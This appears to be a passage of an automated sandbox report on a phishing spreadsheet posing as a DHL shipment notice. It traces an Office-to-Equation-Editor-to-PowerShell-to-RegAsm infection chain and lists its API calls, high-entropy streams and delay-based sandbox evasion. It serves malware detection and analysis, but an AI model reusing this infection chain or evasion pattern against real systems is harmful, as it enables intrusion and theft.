            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile dump: iamtotalnewpersontogetmebackwithentirenewthingstounderstandhowmuchkissineedtodosoican_________sheisbeautifulgirleverthings[1].doc.0.drJump to dropped file
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile dump: B138FD5.doc.3.drJump to dropped file
            Office viewer loads remote template
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXESection loaded: netapi32.dll and davhlpr.dll loadedJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 8_2_003309A6 URLDownloadToFileW,ShellExecuteW,ExitProcess,8_2_003309A6
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,12_2_0041AA4A
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,12_2_0041CB50
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: DHL Shipment Notification 490104998009.xlsStream path 'MBD001A0AA0/Package' entropy: 7.97241113656 (max. 8.0)
            Source: DHL Shipment Notification 490104998009.xlsStream path 'Workbook' entropy: 7.99931018048 (max. 8.0)
            Source: ~DF12C089FB471A9923.TMP.0.drStream path 'Package' entropy: 7.96707908252 (max. 8.0)
            Source: 4B630000.0.drStream path 'MBD001A0AA0/Package' entropy: 7.96707908252 (max. 8.0)
            Source: 4B630000.0.drStream path 'Workbook' entropy: 7.99937544029 (max. 8.0)
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

            Malware Analysis System Evasion

            barindex
            Delayed program exit found
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040F7A7 Sleep,ExitProcess,12_2_0040F7A7
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,13_2_0040DD85
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,12_2_0041A748
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1167Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5856Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWindow / User API: threadDelayed 9303Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWindow / User API: foregroundWindowGot 1650Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeDecision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)graph_12-53442
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3428Thread sleep time: -60000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3620Thread sleep time: -60000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3624Thread sleep time: -2767011611056431s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3624Thread sleep time: -3600000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3624Thread sleep time: -600000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3588Thread sleep time: -922337203685477s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3700Thread sleep count: 255 > 30Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3700Thread sleep time: -127500s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3704Thread sleep count: 135 > 30Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3704Thread sleep time: -405000s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3776Thread sleep time: -180000s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3704Thread sleep count: 9303 > 30Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3704Thread sleep time: -27909000s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3844Thread sleep time: -60000s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,12_2_00409253
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,12_2_0041C291
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,12_2_0040C34D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,12_2_00409665
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0044E879 FindFirstFileExA,12_2_0044E879
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,12_2_0040880C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040783C FindFirstFileW,FindNextFileW,12_2_0040783C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,12_2_00419AF5
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,12_2_0040BB30
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,12_2_0040BD37
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_100010F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,12_2_100010F1
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_10006580 FindFirstFileExA,12_2_10006580
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0040AE51 FindFirstFileW,FindNextFileW,13_2_0040AE51
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,14_2_00407EF8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,15_2_00407898
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,12_2_00407C97
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_00418981 memset,GetSystemInfo,13_2_00418981
